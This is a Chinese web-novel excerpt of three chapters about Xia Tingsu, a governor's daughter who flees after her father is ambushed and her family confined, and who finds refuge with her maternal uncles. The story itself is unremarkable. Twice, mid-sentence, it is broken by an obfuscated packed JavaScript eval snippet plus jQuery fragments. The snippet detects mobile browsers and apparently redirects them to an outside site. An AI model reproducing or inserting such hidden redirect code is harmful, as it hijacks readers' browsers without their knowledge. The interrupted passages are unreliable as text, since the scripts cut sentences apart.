《我并不是很想复仇》 1. 第一章 夏婷苏正在屋内练字,不知想到了什么,握着笔的手腕忽地一颤,一滴墨便即滴在了上好的生宣纸上。 洁白无瑕的纸上瞬间多出了一个缓缓晕开的黑圈,显得滑稽又突兀。 看着即将写完的一幅字如此毁于一旦,夏婷苏抿了抿唇。 见状,侍婢晓荷忙要去替夏婷苏换纸,夏婷苏却摆了摆手示意自己来。 等桌面重新收拾整齐后,夏婷苏也没有了继续写字的兴致。 她坐回椅子上,想到今日府中办宴,自己莫不是被热闹扰了心?总是难以静下心来,写字也恍恍惚惚的。 她唤来两个侍婢晓荷,晓莲陪自己出门一趟,去街上散散心,顺便买些必要的物件。 她们一行三人倒也没走出去多远,只在附近的珠宝铺子买了一支发簪。 待付过帐预备回府时,夏婷苏却瞥见街口处立着个形容猥琐的男人。灰袍灰裤,遮住了大半身形。 虽然低着头看不清楚面容,但脸上因受过黥刑而留下的疤痕却很明显,深色的字迹印在脸上莫名添了几分凶戾之气。 只是还没等她细瞧,那人却又转过身朝着街那头匆匆离开了。 夏婷苏心中存了几分疑虑,按理来讲生活在这附近的人往往都很有身份,不会有人和罪犯打交道,这人今日来了这里,不知是否与自己祖母的寿宴有关? 夏婷苏接着又摇了摇头,自己否定了这个念头。自己祖母的寿宴纵然盛大,又哪里会和这种人扯上关系? 她心中苦笑了两声,难不成自己就因为心思不安定而变得这么多疑了吗?那人大概只是路过而已。 夏婷苏也没把方才所见说给两个丫鬟听,等三人慢慢走回永福巷,这才真真切切地感受到了夏家老太太寿宴的排面。 在永福巷里住的都是达官贵人,道路也修得十分宽敞平整,饶是如此,想在今日穿过巷子也是为难至极。 放眼望去,只见自巷尾到巷口都被各式各样的马车堵得拥挤不已,好在马车的主人们都大有身份,断不会与其他人为着排队耽些时候而起争执,因此巷子里虽拥挤却很有序,依次顺着节度使府中伙计的指引把马车安置妥当。 夏婷苏她们三人出府时是从侧门出去的,没见着这幅景象,回来时走正门近,本想图个快,却正好赶上了这场热闹。 好容易才进了府,顺着熙熙攘攘的人群,便能看见檐下十步一盏的大红灯笼,把长廊装点得喜庆吉祥,月洞门里宾客、小厮来来往往,又把堂屋围得水泄不通,说笑声从堂前传至堂后,惹得池塘中的锦鲤们都纷纷躲了起来。 今日是夏家老太太的六十大寿,夏家是魏朝最显赫的世家之一,夏家老太太作为目前夏家年纪最大的长辈,寿宴自然意义非凡。 无论是肃州城内的大小官员、豪绅富商,抑或是附近行走江湖的镖局镖头、各派好手,都得来给老太太送上一份礼,祝上一声寿,才称得上是有排面,有门路。 夏家老太太共有两子三女,长子夏铭晋现下正任肃州节度使一职,雄霸一方,不可谓不风光。次子夏铭泽在朝中任兵部侍郎,同样也是响当当的人物。 三个女儿或是某位官员的夫人,或是某位富商的妻子,不仅身份体面,还给夏家带来了各种各样的利益联系。 整个夏家都如同一棵枝繁叶茂的大树一样在魏朝的土地上深深扎根。 近年来天灾频发,皇帝幼小,太监与外戚争权愈发强烈,对各地疏于管理,节度使们不仅允许培养自己的军队,还只需要象征性地向朝廷上交本地一小部分的税收。 各地俨然成为了独立的国家,又有北夷人连年发动战争,国库亏空严重,整个王朝摇摇欲坠,整片神州大地都处在水深火热之中。 而作为肃州节度使的夏铭晋,却是手握重权,能够左右边关要地的归属,亦可以决定北夷与中原的战事浮沉。 夏婷苏三人刚进了院子,晓荷就跑去前院打听寿宴进行到哪了,不过一会儿,晓荷清清脆脆的声音就传了进来:“小姐,一会该轮到小辈们去给老太太祝寿了,您赶紧准备准备吧。” 目前肃州夏家只有大爷夏铭晋生活在府中,二爷夏铭泽在京城做官因此常年留在京城,这次老太太寿宴二爷也因公务繁忙没能到场,让人送来了一封家书问母亲好和一箱子珍宝给老太太庆寿。 二爷刚至而立之年,尚未婚配,二小姐夏婷苏自然就是大爷夏铭晋的女儿了。 夏铭晋有三个儿子和五个女儿,却仍未娶妻,因此他的孩子们倒不用分嫡庶尊卑。 夏婷苏的母亲本是肃州城内一家大富商的女儿,只生下了夏婷苏一个孩子,又在夏婷苏刚出生不久就染病走了。 舅舅们来看过几次外甥女,见夏家人对自己并不如何亲热,但照顾夏婷苏却很妥当,留下了两个小丫鬟陪着夏婷苏后也就不常走动了。 夏婷苏虽自幼丧母,但夏家世家显赫,自然不会亏待这位二小姐,只不过二小姐平日里性子谦和,常常只待在自己院里,便不怎么引人关注罢了。 和其他大户家的闺秀们不同,夏府的女孩子们从小就可以读书识字,因为长辈们认为女孩有了见识,未来才能更好地治家。 夏婷苏还有两年才会及笄,因此亲事还不着急,她喜爱读书,又沉稳好静,与亲人的关系算不上疏离,但也谈不上多亲近。 这次寿宴夏婷苏本就抱着低调的心态去准备,自然也不会想着怎样在一众小辈中脱颖而出,不过面子功夫得做好,至少需要作为小辈去给老太太祝个寿,呈上一份自己精心准备的礼物,得到长辈的认可,就算结束自己的任务了。 夏婷苏去里屋换好了衣裳。待走出来时,哪怕见惯了小姐各种模样的晓荷,晓莲都不禁眼前一亮。 只见夏婷苏一身杏色上襦,秋香色下裙,裙裾上一朵朵淡粉色的芙蓉花盛开,热闹又淡雅。 素净的小脸上不染脂粉,精致的五官却有着沉稳智慧的气质,虽尚有稚气,却已是一等一的相貌。 夏婷苏开口对晓莲,晓荷说道:“你们两个收拾收拾,拿上我准备的礼物,我们这就去前院祝寿了。” 等夏婷苏到时,宾客们已经差不多对老太太祝完寿了,到场的宾客各个都是有头有脸的大人物,其中不乏一表人才的年轻才俊。 夏铭晋的女儿们年纪都差不太多,好几位小姐都是再过两三年就要及笄了,因此都在忙着朝会客厅那边偷偷相看中意的世家子弟,谋得一份好亲事,只有夏婷苏目不斜视,捧着自己提前写好的祝寿对联,老老实实地给老太太祝寿。 家里孙儿孙女多,老太太上了年纪,更是对各个小辈的印象不深,唯独记得清楚夏婷苏,性子沉稳安静,每次都不争不抢,但有着自己独特的韧性和从容,更是对她小小年纪便能写出的一手好字印象深刻。 此时见她捧出一副寿联,立马取来细细端详。 待老太太一字一字的品鉴完后,笑着说道:“好一幅‘芝兰玉树竞娟秀,青鸟蟠桃共岁华’,这字端方舒展,看来是下了功夫。嗯,不错,这就把它贴在我仁和堂中吧。” 闻言,众兄弟姐妹们齐齐向夏婷苏看来,眼中掩饰不住地流露出羡慕,夏婷苏却表现得十分平静:“孙女无甚别的拿的出手的,只有写的字勉勉强强,能得到祖母的青睐,是孙女的荣幸。” 老太太见状摆摆手道:“行了,知道你不喜热闹,既然已来给我老太太送了礼物,去和你爹爹说说话,没什么其他事就回去吧。” 夏婷苏也没再多说什么,准备与其他长辈问个好就离开堂屋。 就在这时,夏铭晋长随福信走进堂屋在节度使大人耳边低语了几句。 夏铭晋面色不变,站起身同老太太解释现下有件要紧的公务需要处理,得暂且离开一下。待老太太点过头后就大踏步头也不回地离开了。 这不过是寿宴上一个普普通通的小插曲,夏铭晋平常就公务繁忙,再加上许多事都不肯假手他人,必须要亲力亲为,因此经常会有着急去处理公务的时候。 夏婷苏也没有放在心上,待回到自己小院中时,天色已经完全暗了下来。 她拿出之前尚未看完的游记,接着认真看起来。 没过两个时辰,前院突然隐隐传来嘈杂声,夏婷苏不明所以,命晓荷去前院看看发生了什么事。 不过一会,晓荷急匆匆地跑回自家姑娘的小院,神色慌张道:“不好了姑娘,前院的寿宴本来办得好好的,结果大老爷的随从突然闯了进来,说大老爷在去办案的路上遭遇了袭击,大老爷也受了伤,现下不知是什么情况。” 夏婷苏腾的一下站起身来,神色已见慌乱,又听晓荷说道:“大老爷的随从说侍卫们正护着大老爷抵抗那些刺客,让我们赶紧派人去支援,于是老夫人就叫那随从领着府里剩下的侍卫们过去支援大老爷,谁知他们刚要出门外面又来一队士兵包围了整个巷子,据说是奉节度副使之命特来保护咱们的,可奴婢听人说,咱们府里想去支援大老爷的侍卫们被他们拦着不让出去,老夫人也去和他们沟通了。” 夏婷苏再三从晓荷口中得到确认后,此刻也不由得六神无主起来,晓莲也是惊得说不出话来。 夏婷苏没有办法,只能先安慰两个丫鬟道:“夏家这么大,没有什么人敢把主意打到咱们家身上来,爹爹吉人自有天相,肯定不会有事的,再说今日是祖母的寿辰,前院还有那么多有身份的宾客,那些刺客定然掀不起什么风浪。” 两个丫鬟经此一说,也慢慢镇定下来,夏婷苏心里却依然忐忑不安,手指不由得攥紧了自己的裙摆。 渐渐的,前院的嘈杂声越来越大,夏婷苏命晓荷再去前院看看,有什么情况立马回来汇报。 夏婷苏的两个丫鬟,晓荷机灵,办事利落,晓莲稳妥,针线活尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178341|180830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其好。 夏婷苏自小没有母亲管,大多时候都是父亲找来的嬷嬷来教养,性格便养得很独立,遇到事情也能冷静处理。 此时虽遇上了生平从未有过的大事,但也不至于失了分寸。 过了一会,晓荷回来汇报。 原来宾客们也要离开节度使府,但是士兵强硬的把人拦下,造成了宾客们的不满,有的小厮和士兵扭打起来,前院现在已成乱糟糟的一片。 夏婷苏也摸不清楚士兵拦人的原因,不过她隐隐有种不安的感觉,节度使府虽说看起来是在被保护着,但也有点像是被监禁起来了,从父亲的突然离去来看,遇袭很像是有预谋的。 她忽然想起了不久前见到的那个受了黥刑的男人,当时她并没提起注意,现在想来那人极有可能与自己父亲遇袭有关系。 她不由得生起了几分懊悔之意。 对于自己这位父亲,夏婷苏一直没有太深的感情,因为家里兄弟姐妹众多,夏婷苏的母亲也并非出身有势力的家族,父亲自然不会太看重这位女儿。 夏婷苏也不会主动去和父亲培养好感情,但是对于自己父亲这个人,夏婷苏始终认为他是一个很有能力且城府极深的人,因为夏铭晋不光是这些年在仕途上顺风顺水,而且肃州城也在他的治理下井井有条。 如果不是亲眼所见的突生变故,夏婷苏始终不愿意相信父亲或许已经遭遇不测。 联想到之前在祝寿时父亲虽解释了着急离开的原因,神色也不见有异,但能让在祖母大寿的寿宴上作为长子的夏铭晋突然离开的事情一定不简单。 如此扑朔迷离的局面毕竟是一个小姑娘无法独立面对的,夏婷苏束手无措却又无可奈何。 夏婷苏不得不决定亲自去前院看看,为了不引人注目,她和晓莲互换了衣服,跟在晓荷身后,伪装成晓莲,低着脑袋,避开人群,到了前院的角落里。 夏婷苏透过乌泱泱的人群隐隐能够望见持械的士兵,远远看去,似乎士兵们和宾客的矛盾还没能解决,随时有继续爆发冲突的可能。 夏婷苏也没有其他办法,只能让晓荷去找了几个和她要好的几个小丫鬟,叮嘱她们若是知道前院又发生了什么大事就彼此之间通知一下,这才回到了自己的小院。 因为士兵围得水泄不通,外面的人既无法进来,里面的人也出不去,宾客们只能在夏府暂住,好在夏府极大,这么多人生活在一起倒也不显得拥挤,只是这样被监禁起来,难免叫人心慌。 如此过了三日,宾客们终于按捺不住了,偷偷组织起来,要强闯出去。 他们自己带的家丁,侍卫数量也不少,商量出结果后就各自去收拾东西准备了。 再说夏婷苏这边,不能出府对她的生活没什么影响,但她因为记挂自己的父亲还是整日忧心忡忡。 这天,晓荷从小姐妹口中得知了宾客们在晚上的行动,就转头告诉了自家姑娘。 自小接受教育的夏婷苏在某些事情上有着不同于其他女性的魄力,她心想既然有人要强硬出去,自己怎么能被不明不白地困在家中? 索性自己也伪装成小厮跟着他们混出去,再去打听自己父亲的消息,就算没闯成,以宾客们的身份料想节度副使也不会真不管不顾的把他们怎么样。 想到这里,夏婷苏让晓荷去向哥哥的小厮们借了套不穿的旧衣衫,又让晓莲把尺寸改小。 因为时间紧迫,晓莲也只能把袖口衣襟处收紧一些,接着夜幕的掩饰,也看不出来什么蹊跷。 等到了时辰,有人朝着巷子里别处的宅子扔了几个火把,因为事先铺了些柴火之类的易燃物,火很快烧起来。 士兵们被吸引了注意,开始去灭火,趁着这个时候,家丁侍卫们开始往外闯,因为士兵们被调走了很多,人数上有了劣势,被打了个措手不及,竟生生冲出来了个缺口,有的人开始趁机往外跑。 夏婷苏也看得瞠目结舌,原以为会有什么巧妙的法子逃出去,没想到是硬闯,这下局面混乱,谁也顾不上谁,倒不用专门混到某位人物的小厮中,担心被发现身份了。 夏婷苏不敢多耽误,趁着人多混乱,赶紧溜了出去,然后拼命往外跑,直到确认不会再有人追上来了才停下来喘气。 走之前夏婷苏嘱咐好了两个丫鬟,说她突然生病下不了床,反正平时也没人会在她生病时去看她,也就完全不担心会被暴露。 夏婷苏极少出门,对肃州城也是所知甚少,出门时就带了些金银,连首饰也没拿,此时快要到宵禁的时辰,街面上也没人,只好在街上寻起客栈来。 谁知走了很远都没发现一家客栈,只有一处灯火极亮,门口的牌匾上写着悦香楼,听着里面有些嘈杂声。 夏婷苏隐隐觉得这里不像客栈,但又并非她所知的其他场所,但此时不寻家店住下,宵禁时被发现走动更加麻烦,只好先走进去看看。 2. 第二章 等走进去后才发现,这里的厅堂要比外面看上去还要亮。华丽的装饰,过于浮躁而显得粗俗的香气,无不透露着说不出的怪异。 楼里来来往往的人很多,有醉鬼揽着女郎说说笑笑,有衣着暴露的女子和同伴挤眉弄眼…… 夏婷苏看的有些脸热,心中默念非礼勿视,把目光移向一位倚在柱子上,拿着扇子扇风的妇人身上。 恰巧妇人这时也注意到她,还没等夏婷苏感叹妇人脸上涂抹的脂粉太多看起来浮夸至极,妇人就面色不善地走过来对夏婷苏说道:“喂,你是哪家的小厮,没看见这正招揽生意呢吗?傻子似的站在门口干嘛?” 出来时,夏婷苏特意往脸上涂抹了淡黄的颜料,把眉毛描粗,原本白净的小脸变得又黄又丑,夏婷苏身体尚未发育完全,穿着粗布的衣裳看上去就是个瘦巴巴的小厮,此时呆愣愣地站在原地,显得格格不入。 夏婷苏被问了个措手不及,正准备解释是来住店的,突然想起身上穿着“小厮”的衣服,独自出来住如此“豪华”的店未免有些不现实。 她短时间也想不到其他理由,于是粗着嗓子告诉妇人:“我们公子是这儿的客人,我和我们家公子走散了,我是来大厅找我们家公子的。” 老妇人一听这话,收起了轻视之色,怕得罪了哪家大人物,连忙叫来一名老婆子让她领着去找人。 夏婷苏跟着那婆子上了二楼,还没等那婆子问她她家公子是谁就赶紧开口说道:“我有些累了,我们公子在忙着办正事,你先给我找个房间歇息一会”说着拿出一枚银锭塞到那婆子手里。 婆子拿了银子,顿时眉开眼笑,连忙招呼着夏婷苏到了一间空房间里,告诉夏婷苏什么时候需要去找她家少爷了就喊她,她一般都在大厅里帮忙干活,这个房间没人来,不怕会有人打扰。 夏婷苏环顾了一圈房间,虽然觉得环境并不怎么好,不过至少也能住人,她虽然到现在都没弄明白这家店是干什么的,但不妨碍她今晚找到了住处。 虽然条件简陋了些,但出门在外能有这样的待遇已属不错,她准备歇一晚上就去调查自己父亲的事。 中夜时分,睡梦中的夏婷苏隐隐听到外面有些嘈杂声,但原本悦香楼晚上动静就不小,她以为是其他住客发出的动静,加上身体的疲倦袭来,还没来得及深想就又沉沉睡去。 到了第二天早上,夏婷苏对着镜子整理了整理装扮,确认不会被人看出端倪后,打开房门,告诉了昨晚那婆子她白日出去给她家公子买些东西,晚上大概还会回来,如果房间没人住的话,今晚还给她留着,好处也少不了。 整日打杂的婆子哪拿过这么大的“好处”,反正那房间也只是个自己睡觉的房间,大不了就在大厅凑合凑合,当下眉开眼笑地把夏婷苏送出了门。 夏婷苏走到大街上,才发觉很多店铺都关了张,路上也没几个行人。 按理说白天应该不至于这么冷清,夏婷苏直觉蹊跷,往前又多走了几条街,看着四周仍是这幅景象,她便拦住了一位路过的行人,询问他街上为什么这么冷清。 那行人见有人和他说话,先是打量了两眼夏婷苏,又看了看四周,然后把夏婷苏拽到了家没人的商铺前,悄声问她是不是本地人?没事打听这些事干嘛? 夏婷苏对自己一无所知感到有些赧然,于是编了个理由告诉那行人,自己本来是一户人家的伙计,老在家里干活不知道外边发生了什么。 那行人这才半信半疑地又来回打量了夏婷苏两眼,最后慢慢道出经过。 原来,早在几天前城里出了乱子,有一伙身手灵活,配备着精良兵器的黑衣人趁着夜色掩护袭击了节度使大人,虽说后来侍卫们护送着节度使大人撤离了,但在城中受到暗算,摸不清楚对方来头,护卫直接驱马护送受伤的节度使出了城,到现在也没有音讯。 那伙黑衣人也不恋战,片刻间便消失得干干净净,仿佛从没出现过一样,如此训练有素,来历一定不简单。 节度副使下令严查城内,说是城内藏匿着一支暗军,能不知不觉地潜伏起来,一定有人包庇,于是这几天城里好多家权贵的府邸都被搜了个干净,闹得城内人心惶惶。 昨晚夏家突然走了水,当时正值深夜,人们都在睡着觉,听见动静刚起床就看见夏府已经火光冲天,又看见夏府那块有人和官兵发生了冲突,都不敢上去救火。 那巡捕见势头不对,灭了火后便调来了大批衙役把夏家上下都带回衙门里留观了。现在人心惶惶,城内家家紧闭门户,生怕惹上麻烦,自然街上就冷清了。 夏婷苏心中莫名一紧,忙问道:“为什么把他们带回衙门里留观?”那行人叹了口气,这才答道:“当时火势越来越大,如果再由着他们闹下去,火就不好再扑灭了,其实大家也都不理解,夏家人明明是节度使的亲眷怎么就突然和官兵起了冲突,那巡捕没办法,也不能再任他们乱来,只好先请他们去衙门里坐坐,大概了解了实情就会放人了。” 顿了顿,那行人又说道:“当时动静极大,小半座城的人都听到声音看到火光了,城门处刚贴了公告说明此事,现下也有不少人去看了,要不是我今日正好到城门那块去办事也不能知道得这么清楚。唉,也不知道这回城里还得乱腾多久。” 这些消息对于夏婷苏来说如同平地惊雷,那行人见夏婷苏神情错愕,不敢再多跟她说,告诫她没事别出门闲逛就赶紧走了。 夏婷苏察觉到公告上的说辞绝对有问题,她亲眼所见昨晚有人放火是在空地上点燃的干草垛,目的只是为了引开士兵,其实根本不可能让火势越来越大。 又因为自始至终都没有官员来对夏府的宾客们做出解释,宾客们才会不满士兵的监禁,公告上也没有说明这一点,最后与官兵发生冲突的是想强闯出去的宾客,何以巡捕会把夏府上下都带进衙门里看管起来? 一个小小的巡捕就有调动官兵扣押节度使家眷的权力吗? 她万万想不到事情会到这个境地。自己父亲出事,现在城内由节度副使来管,这些事情与他肯定逃不了干系。 她深居宅院,从没见过父亲的同僚,对于这位副使大人更是一无所知,此时行人的话一遍遍的在她耳边回响。夏家虽在明面上的势力并不强盛,但暗地里整个朝堂都分布了自己的人,官场上的人不会不知,百年的底蕴却护不住夏府,他们为何如此不管不顾? 夏婷苏深知夏府如今面临着巨大的危机,她也身处危险之中,绝对不能暴露自己的身份。 她甚至不敢再回到夏家去看看,因为熟悉她的人一眼就能认出她来,而城中这些事情的主谋掌握着真正的权力,她回去无异于自投罗网。 她原本是想逃出来帮助夏铭晋,却没想到无意中躲过了一场阴谋。 夏婷苏想到昨天还在与她言笑晏晏的夏家众人,不敢想象他们现在的情形。她茫然地回头,快步走回了悦香楼。 悦香楼此时还不到人多的时候,夏婷苏畅通无阻地回到了昨晚住过的房间,她呆呆地坐在床上,生活的重压骤然袭向这个本不谙世事的少女身上,她不知自己应该何去何从,但值得庆幸的是在她想明白之前,她拥有一个暂时安全的庇护所。 夏婷苏突然生病了,病魔抽走了她的最后一丝力气,依靠着银子,打杂的婆子给她买药,打水,送饭,直到她一点点病好。 可现在与她原本的生活简直有着天壤之别,以前的夏婷苏从来不会知道饭菜能有这么粗糙,被褥能有这么单薄,日子能有这么难捱。 这场变故,终究是给夏婷苏带来了某种脱胎换骨的变化。 等到了病好,夏婷苏决定去投奔自己的舅舅们。虽然关系并不亲近,可有着血脉的联系,那里是唯一能带给自己希望的地方了。 夏家人已经尽数被控制起来了,独独少了她自己。夏婷苏心知,过不了两天,官府的人一定会发现不对,这两天就是自己最后的机会。 等到了全城都知道夏家二小姐逃走了的消息时,她就真的走投无路了,所以一定要尽快进入王家,得到他们的帮助。 夏婷苏仍是原先那副打扮,循着记忆来到了王家,望着王家的大门,她知道自己需要通过一种不起眼的方式进入王家。 她观察了一整日,发现王家贴了招工的告示,明日辰时将选几名劳工进入王家。思前想后,夏婷苏决定扮劳工来进入王家。 到了第二天,夏婷苏换上粗布衣衫,故意把手,脸涂黑,早早地来到了王家门口。 等到了时辰,告示前已经集结了二三十人。因为王家是大户,不怕拖欠工钱,待遇也好,平时一般都是去牙行招工,能碰上这种招杂工的时候实在不多见,因此想干这种活的人很多。 夏婷苏明明是最早来的,此时却被挤到了人群边缘,等王家的管事出来后,在人群里点了几个最精壮的,连看都没看夏婷苏一眼,就准备走了。 夏婷苏哪能这么放过这次机会,眼见着管事马上就要离开了,一咬牙厚着脸皮赶紧过去抓着那管事的袖子道:“爷,你看看我,我也能干活,不要工钱,只求一口饭吃,别看我瘦小,我什么脏活累活都能干。” 诧异的目光从周围袭来,她从没有过这种举动,此时不由得紧张得发颤。 为了能进入王家,她编了个理由,稳住声音告诉那管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178342|180830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事说自己是梁州人,被家人赶出来,来到了肃州,实在走投无路,再不找个地方就要被饿死了,又说自己吃得不多,干什么脏活累活都不喊苦,管事这才上下打量起她来,过了半响把她带上,夏婷苏才终于进了王家。 王家外面看上去不怎么起眼,走进后才能发觉其中另有乾坤,小桥流水,假山瀑布,木质的小亭子几步一个,房屋间的布局也很精妙,既不觉得拥挤,也不显得空荡冷清。 不同区域的景色也各不相同,石阶旁的花树很多是夏婷苏也从没见过的,能将这些植物在深秋季节打理的绿意昂扬需要的不仅仅是简单的财力,整个府邸的档次甚至不比夏府低,透露着此间主人的富有和雅致。 管事把他们带到了一处偏房,告诉他们府中需要挖一个池塘,在这里大约干两个月,两个月后结工钱,干的好还会多给,上午先收拾一下,下午会有人来领着他们干活。 算上夏婷苏,这次一共招了六个人。夏婷苏跟着他们走进偏房,里面是一排大炕,因为还是秋天不算冷,屋内也没烧火,夏婷苏自觉走到阴暗的最里端,抱着发来的铺盖分了一个小小的界。 她坐在床上静默了一会,看着其他劳工五大三粗的把铺盖扔开,彼此豪爽地介绍着自己的来历,听得无甚意思,就走出屋,循着管事刚把他们带过来的路线,状似无意地闲逛起来。 走了一会,夏婷苏看见了一位修剪着花枝的公子。 那人一身白袍,倾着身子,神色认真地侍弄着面前的芳色。衣袍看似简朴,但懂行的人可以一眼看出面料绝非凡品。 夏婷苏驻足,心知他并非普通家丁,至于是什么身份,还需要再试探试探,于是想好措辞后上前询问他道:“我是新来的劳工,无意中走动迷了路,不知公子是王家哪位少爷?可否把我带到我的寝舍?” 王玄安转过头来,纯白的装束衬得他长身玉立,气质也温润有礼,对上夏婷苏的目光,忽略了面前人言语上的无礼,也不回答她的第一个问题,只微微一笑道:“你跟我来吧。” 王玄安带着夏婷苏来了一间满目春意的小院,领着她坐到了院中的石桌前,唤来小厮,让他去打听新来的劳工住处在哪里,这才对夏婷苏温声解释道:“家中房屋众多,我也不知你的寝舍应在哪里,只好先把你带回我的院子,让人打听清楚了再送你回去。” 夏婷苏点头示意自己知道了,王玄安也没再说什么,从屋中取了本书,坐在院里的木椅上很快专注起来。 夏婷苏在来的路上已经可以确认这位公子是王家人了,只是不知和自己是什么关系,趁着现在能坐在他院子里,得赶紧同他说清楚自己的事。 于是,夏婷苏开口道:“公子,有件事我想求您。” 闻言,王玄安诧异地看向夏婷苏,不明白她还有什么问题。夏婷苏轻咳一声,告诉王玄安只有他一个人才能听。 王玄安诧异之色没有减弱,却还是同她道:“我的小院里只有我和我的小厮两个人,他现下出去了,你有什么事就直接说好了。” 夏婷苏却坚持要求只有他能听,如果他的小厮半途回来了也不行。王玄安只好把院门锁起来,领着夏婷苏进了自己的屋子。 夏婷苏没想到王玄安把院子布置的格外别致,屋子里却十分简单,几乎毫无装饰,不过她此时也没时间多想,直接开门见山道:“公子,敢问你是王家何人?” 王玄安虽然对面前的人存着几分警惕之心,但看着她一双亮晶晶的大眼睛仿佛清澈的泉水一般纯净,与脏兮兮的小脸反差极大,料想她也起不了什么坏心思,虽不知她这么问是何用意,但还是选择相信她,直接道出了自己的身份。 王家虽家业不小,人却远不如夏家那么多,王家大房只有一个儿子,二房是一儿一女。 二房的小女儿便是夏婷苏的母亲,夏婷苏的堂舅也只有王玄安一个儿子,在家中这一代是年纪最长的。夏婷苏的亲舅年逾不惑,却至今尚未娶妻。 王家虽是商户出身,生意做得相当大,但到了王玄安这一代,长辈们都想让孩子去考功名,以此来光耀家族,因此王玄安平日并不接触家里的生意,只一心一意念书。 夏婷苏一听王玄安是自己的表哥,当下便一五一十地把自己来历和进入王家的缘由讲了出来。 王玄安不常出门,并不知晓近日城中发生的大事,对夏婷苏口中的话感到十分震惊,更难以接受面前又黑又瘦的小劳工竟是自己的表妹。 缓了一会,在夏婷苏诚恳的注视下,王玄安才勉强接受了这些信息,提出要把夏婷苏带去自己父亲那里,由父亲来做主怎么处理夏婷苏的事,夏婷苏欣然应允。 3. 第三章 王玄安父亲是王家目前的当家人,王栋衡。夏婷苏的事也必须得到王栋衡的意见才能决定怎么处理。 王玄安带着夏婷苏径直走进了王栋衡的书房,让小厮去请自己父亲。 小厮虽然看见王家大公子带着个陌生的外人进了家主书房感到很诧异,但也不敢多说什么,遵着王玄安的指令,去请王栋衡了。 夏婷苏随着王玄安坐下,接过他递来的茶水,抿了一口就把茶杯放下,两人均是无言,直到王栋衡的到来。 王栋衡同样对自己书房突然出现的陌生人感到诧异,但他知道自己儿子不会无缘无故的随便把人带进自己书房,因此他面色不变,等待着两人的解释。 夏婷苏见王栋衡来了忙规规矩矩地站起身来,唤了一声:“舅舅。” 这一下可把王栋衡惊得不轻,电光火石间,他仿佛意识到了什么,哪怕多年的涵养功夫也在此刻破功,只见他面色一变,看向了王玄安。 王玄安也在此时沉声道:“父亲,她确是我的表妹。”又让夏婷苏把自己是如何从夏家出来,夏家到底发生了什么,又是怎么进入王家的事情讲了一遍。 王栋衡听完后沉吟半晌,自觉不敢在此事上擅自做主,只得让人把夏婷苏的亲舅舅王栋桓请了过来,两个当家人商讨过后才能拿主意。 王栋桓很快便风风火火地赶到,他生得浓眉大眼,许是多年在外闯荡的原因,身上有一股威风凛凛的气度,和王栋衡的柔和儒雅完全不同,刚得知夏婷苏就是过世妹妹的孩子就亲切的对夏婷苏嘘寒问暖,虽也对夏婷苏的到来感到一丝诧异,但也不多计较什么,一点不因为多年未见就显得生疏。 待夏婷苏把来王家的缘由讲清楚后,当下就担保一定会保证夏婷苏的安全,叫夏婷苏别害怕。 王栋衡让王玄安先把夏婷苏带到王家的一处偏僻的小院安置下来,不要声张她的身份,就说这是王栋桓在外结交的一名小兄弟,反正这些年王栋桓走南闯北也结交了很多朋友,来投奔王栋桓的不在少数,家里人早就见怪不怪了。 夏婷苏知道两个舅舅该商量如何安置自己的事了,也就乖乖地跟着王玄安走了。 待他们走后,王栋桓本来还在喜气洋洋的脸顿时愁云密布,这些天他们也都知道现在城内不太平,夏家首当其冲地受到了制裁,他们虽在肃州有几分话语权,但毕竟只是商人,在很多事情上都是任人宰割的。 关于夏家的风声他们也听到过一些,也本想着去把有血缘关系的夏婷苏接来,料想总会有办法庇护一个小姑娘,但谁知上头人对夏家的态度十分强硬,他们也只好先静观其变,但没想到夏婷苏竟然从夏府逃了出来,还进入了王家,这下就不得不趟这滩浑水了。 王栋衡和王栋桓商量了许久,最终决定不能把人留在王家,一旦被发现夏婷苏失踪了,他们王家必定首当其冲被搜查,当务之急就是把夏婷苏送出城去。 这样既能保全夏婷苏和王家的安全,也能一劳永逸地解决夏婷苏的问题,至于怎么送,送到哪,也在困扰着这两位步入中年,见惯了太多人间冷暖的当家人。 王栋桓亲自去见了一趟夏婷苏,告诉她后日早上王家将组织一支小商队,秘密把夏婷苏带出城,然后与商队分离,会有人送夏婷苏到梁州,那里有王家的人接应他们,到时候夏婷苏先在梁州安置下来,等风头过去了,他和王栋衡再去看她。 夏婷苏知道这已经是王家能做出的最大的努力了,自己一个小姑娘,离开家既无势力也无钱财,纵然有心去调查清楚夏家的事,毕竟孤掌难鸣,只好先避开风口浪尖,去外地待一阵子,便诚挚地对王栋桓道了谢。 等到了后日一早,王栋桓把准备好的包袱交到夏婷苏手里,才让夏婷苏进了事先布置好的马车。 夏婷苏躺在马车车板的夹层里,上面放着几大箱运输的货物,稳当又极隐蔽,哪怕有人仔细查也几乎不可能发现其中藏了人。如此,商队才从王家慢慢悠悠地出发了。 王家人重感情,哪怕是才见了没几面的王玄安都来送了这位表妹,王栋衡和王栋桓更是忍不住红了眼眶,都不自禁想起当年跟在他们身后的小妹,也是如夏婷苏一样的乖巧懂事,谁知多年后物是人非,可他们无论如何也要保住小妹留下的血脉。 夏婷苏躺在马车里,黑暗又逼仄,一点也听不到外面的声音。 她不知道过了多久,始终不敢放下心中的警惕。 